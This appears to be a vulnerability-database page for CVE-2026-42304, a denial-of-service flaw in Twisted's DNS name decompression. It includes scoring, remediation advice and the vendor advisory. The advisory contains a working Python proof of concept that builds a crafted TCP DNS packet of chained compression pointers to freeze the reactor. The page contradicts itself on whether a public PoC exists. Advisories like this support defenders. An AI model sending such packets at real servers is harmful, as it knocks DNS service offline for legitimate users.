Skip to main content

Twisted CVE-2026-42304

HIGH
Uncontrolled Resource Consumption (CWE-400)
2026-05-05 https://github.com/twisted/twisted GHSA-grgv-6hw6-v9g4
7.5
CVSS 3.1 · Vendor: https://github.com/twisted/twisted
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Send TCP connection to DNS port
  2. Delivery
    Deliver crafted DNS packet with pointer chain
  3. Exploit
    Trigger Name.decode with thousands of questions
  4. Execution
    Exhaust CPU in recursive pointer lookups
  5. Persist
    Block Twisted reactor event loop
  6. Impact
    Deny service to legitimate clients

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V2 - Validation and Business Logic Resource consumption limits
MITRE ATT&CK

1 technique across 1 tactic: Impact

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires the target application to be running the twisted.names DNS server module and accepting TCP DNS queries on port 53 (or alternative configured port). The vulnerability is exploitable against default twisted.names.server.DNSServerFactory configurations with no special features or non-default settings required. Attack vector is network-based requiring only the ability to send crafted TCP packets to the DNS server port-no authentication, no user interaction, and no privileged access needed. Exploitation is limited to deployments where twisted.names is actively serving DNS requests; applications using other Twisted components (HTTP servers, IRC clients, etc.) without twisted.names DNS functionality are not exploitable via this vector. The single-threaded nature of the Twisted reactor is inherent to the framework design and cannot be disabled, making all affected versions uniformly vulnerable when twisted.names DNS server is in use.

Impact

CVSS 7.5 (High) with network vector, low complexity, and no authentication required accurately reflects exploitability. However, real-world risk is constrained by deployment context: only applications explicitly using twisted.names DNS server components are vulnerable-the core Twisted framework and most applications (web servers, IRC clients, etc.) are unaffected. Publicly available exploit code exists (PoC included in GitHub advisory), lowering exploitation barrier. No CISA KEV listing or EPSS data provided, suggesting limited observed exploitation in the wild. The attack causes multi-second reactor freezes (confirmed ~4+ seconds in PoC testing) but requires sustained packet delivery to maintain denial of service-not a permanent crash. SSVC decision points: Exploitation is PUBLIC (PoC available), automatable (single packet triggers condition), technical impact is PARTIAL (availability only, temporary), and likely affects few deployed DNS servers using Twisted. Priority depends on whether organization runs twisted.names DNS services; if not deployed, risk is negligible despite high CVSS. For affected deployments, prioritize patching-attack is trivial to execute and impacts availability SLAs.

Exploit ScenarioDerived

Attacker identifies a Twisted-based DNS server via banner grabbing or service fingerprinting on TCP port 53. They craft a malformed DNS query packet containing 8,000 chained compression pointers and thousands of question records, all referencing the pointer chain. Sending this single TCP packet to the server triggers multi-second blocking in Name.decode as it processes millions of redundant pointer dereferences. The Twisted reactor event loop freezes, unable to accept new connections or respond to existing clients. Legitimate DNS queries time out, causing service disruption. Attacker repeats the packet every few seconds to sustain denial of service. If the DNS server supports critical infrastructure (internal name resolution, service discovery), downstream applications fail.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 05, 2026

Remote denial of service in Twisted's DNS name decompression (twisted.names module) allows unauthenticated attackers to freeze the single-threaded reactor by sending a crafted TCP DNS packet with deeply chained compression pointers and thousands of questions. Publicly available exploit code exists. Despite high CVSS score (7.5), real-world impact is limited to applications using the twisted.names DNS server-not the broader Twisted framework. Vendor-released patch available in version 26.4.0rc2.

RemediationAI

Upgrade to Twisted version 26.4.0rc2 or later, available from PyPI. Install via: pip install --upgrade twisted>=26.4.0rc2. The fix implements per-message limits on DNS compression pointer dereferences, shares resolved-offset state across all records in a single message to prevent redundant processing, and validates QDCOUNT before decoding. Official advisory with patch details: https://github.com/twisted/twisted/security/advisories/GHSA-grgv-6hw6-v9g4. If immediate upgrade is not feasible, disable the twisted.names DNS server component if not required for application functionality. For essential DNS server deployments, implement network-layer mitigations: restrict TCP DNS port 53 access to trusted clients via firewall rules (blocks remote exploitation but limits legitimate DNS-over-TCP functionality), deploy connection rate limiting to mitigate repeated attack packets (trade-off: may impact legitimate high-volume DNS traffic), or place Twisted DNS servers behind a validating DNS proxy that performs message structure checks (adds latency and infrastructure complexity). No workaround fully eliminates risk without disabling the vulnerable component.

Affected Packages

pypi twisted fix: 26.4.0rc2, 26.4.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Twisted is an event-driven networking engine for Python. The twisted.names module implements DNS protocol handling (RFC 1035) with support for DNS name compression (RFC 1035 §4.1.4). The vulnerability resides in twisted.names.dns.Name.decode, which processes DNS compression pointers-a legitimate protocol feature where labels can reference previously-seen names via 2-byte offsets instead of repeating them. While a 2011 commit (e11cd82) added infinite-loop protection via a visited set, it imposed no limit on total pointer dereferences per message and reset the visited set for each Question record. An attacker can craft a packet with thousands of DNS questions (QDCOUNT) all referencing the same long chain of 8,000+ compression pointers, each pointing to the next in sequence before terminating. Processing each question re-traverses the entire chain without caching, causing O(questions × chain_length) operations. Because Twisted uses a single-threaded cooperative multitasking reactor (asyncio-style event loop), blocking operations halt all I/O processing. This maps to CWE-400 (Uncontrolled Resource Consumption) and CWE-407 (Inefficient Algorithmic Complexity). RFC 9267 provides updated guidance on DNS message compression security.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/twisted/twisted) PRIMARY 7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
SUSE HIGH
Red Hat 7.5 HIGH

Primary rating from Vendor (https://github.com/twisted/twisted).

CVSS VectorVendor: https://github.com/twisted/twisted

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

DescriptionCVE.org

Details

The twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server.

---

Technical Details

The main issue is in twisted.names.dns.Name.decode. A visited set was added in 2011 (commit e11cd82) to prevent infinite loops, but there is still no limit on the number of pointer dereferences per message. Also, the visited set is reset for each Question record.

Because DNSServerFactory handles every record in QDCOUNT without checking them, an attacker can add thousands of questions that all refer to the same long chain of pointers. This makes the parser repeat a complex and unnecessary search.

python
##  src/twisted/names/dns.py (Lines 595-631)

def decode(self, strio, length=None):
        visited = set()
        self.name = b""
        off = 0
        while 1:
            l = ord(readPrecisely(strio, 1))
            if l == 0:
                if off > 0:
                    strio.seek(off)
                return
            if (l >> 6) == 3:
                new_off = (l & 63) << 8 | ord(readPrecisely(strio, 1))
                if new_off in visited:
                    raise ValueError("Compression loop in encoded name")
                visited.add(new_off)
                if off == 0:
                    off = strio.tell()
                strio.seek(new_off)
                continue
            label = readPrecisely(strio, l)
            if self.name == b"":
                self.name = label
            else:
                self.name = self.name + b"." + label

---

PoC

python
import struct, time
from twisted.names import dns, server
from twisted.test import proto_helpers

def create_tcp_payload():
    num_pointers = 8000
    packet_length = 65533
    num_questions = (packet_length - (num_pointers * 2) - 12) // 6

    buffer = bytearray(packet_length)

    struct.pack_into("!HHHHHH", buffer, 0, 1, 0, num_questions, 0, 0, 0)

    ptr_offset = 12
    for _ in range(num_pointers - 1):
        struct.pack_into("!H", buffer, ptr_offset, 0xC000 | (ptr_offset + 2))
        ptr_offset += 2

    null_byte_offset = ptr_offset + 2
    struct.pack_into("!H", buffer, ptr_offset, 0xC000 | null_byte_offset)
    buffer[null_byte_offset] = 0

    question_offset = null_byte_offset + 1
    for _ in range(num_questions):
        if question_offset + 6 <= packet_length:
            struct.pack_into("!HHH", buffer, question_offset, 0xC000 | 12, 1, 1)
            question_offset += 6

    return packet_length, num_pointers, num_questions, struct.pack("!H", packet_length) + buffer

def test_dns_server():
    factory = server.DNSServerFactory(clients=[])
    protocol = factory.buildProtocol(("127.0.0.1", 10053))
    transport = proto_helpers.StringTransport()
    protocol.makeConnection(transport)

    pkt_len, num_ptrs, num_qs, payload = create_tcp_payload()
    print("payload")
    print(f"len={pkt_len} ptrs={num_ptrs} qs={num_qs}")

    start = time.time()
    protocol.dataReceived(payload)
    end = time.time()

    print(f"time={end - start:.4f}s")

if __name__ == "__main__":
    test_dns_server()

---

Impact

A single malformed TCP packet is sufficient to block the Twisted reactor's event loop for several seconds. Because Twisted operates on a single-threaded cooperative multitasking model, this is a common Denial of Service (DoS). The process becomes unable to handle new connections, process I/O, or respond to existing requests, effectively paralyzing the server for the duration of the decompression.

---

Remediation

  • Update twisted.names.dns.Name.decode to add a required limit on pointer resolutions per DNS message
  • Share the "resolved offset" state across all records in a single message to prevent redundant processing.
  • Validate the number of questions before entering the decoding loop in Message.decode.

---

Resources

https://cwe.mitre.org/data/definitions/400.html

https://cwe.mitre.org/data/definitions/407.html

https://datatracker.ietf.org/doc/html/rfc9267

https://github.com/twisted/twisted/blob/trunk/src/twisted/names/dns.py#L595

https://github.com/twisted/twisted/commit/e11cd82bdd79b3ebbb0e8635cbb9c76df2b5af09

---

Author: Tomas Illuminati

Executive ViewAI

Why It Matters

Twisted versions prior to 26.4.0rc2 contain a remote denial of service vulnerability in the DNS name decompression module that allows unauthenticated attackers to freeze applications serving DNS traffic by sending malformed DNS packets. Organizations running Twisted as a DNS server face service disruption risk, though the vulnerability is limited to the twisted.names module and does not affect other Twisted framework uses.

Business Impact: High
Compensating Controls

Apply vendor patch: Twisted 26.4.0rc2 or later. If immediate patching is not possible, implement network-level rate limiting and packet filtering on DNS ports (53/TCP) to restrict malformed DNS request traffic from untrusted sources.

Threat Intelligence Overview

EPSS Score
0.0%
Top 98% exploitable
Threat Intel
1
1 sources
Data Quality
6 sources
Confidence: High
NVD CVE.org EPSS GHSA MSRC Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
High

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

Affected Products (CPE)CVE.org

pkg:pip/twisted

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Vendor StatusVendor

SUSE

Severity: High
Product Status
openSUSE Tumbleweed Fixed
SUSE Linux Enterprise High Performance Computing 15 SP4-ESPOS Affected
SUSE Linux Enterprise High Performance Computing 15 SP4-LTSS Affected
SUSE Linux Enterprise High Performance Computing 15 SP5-ESPOS Affected
SUSE Linux Enterprise High Performance Computing 15 SP5-LTSS Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy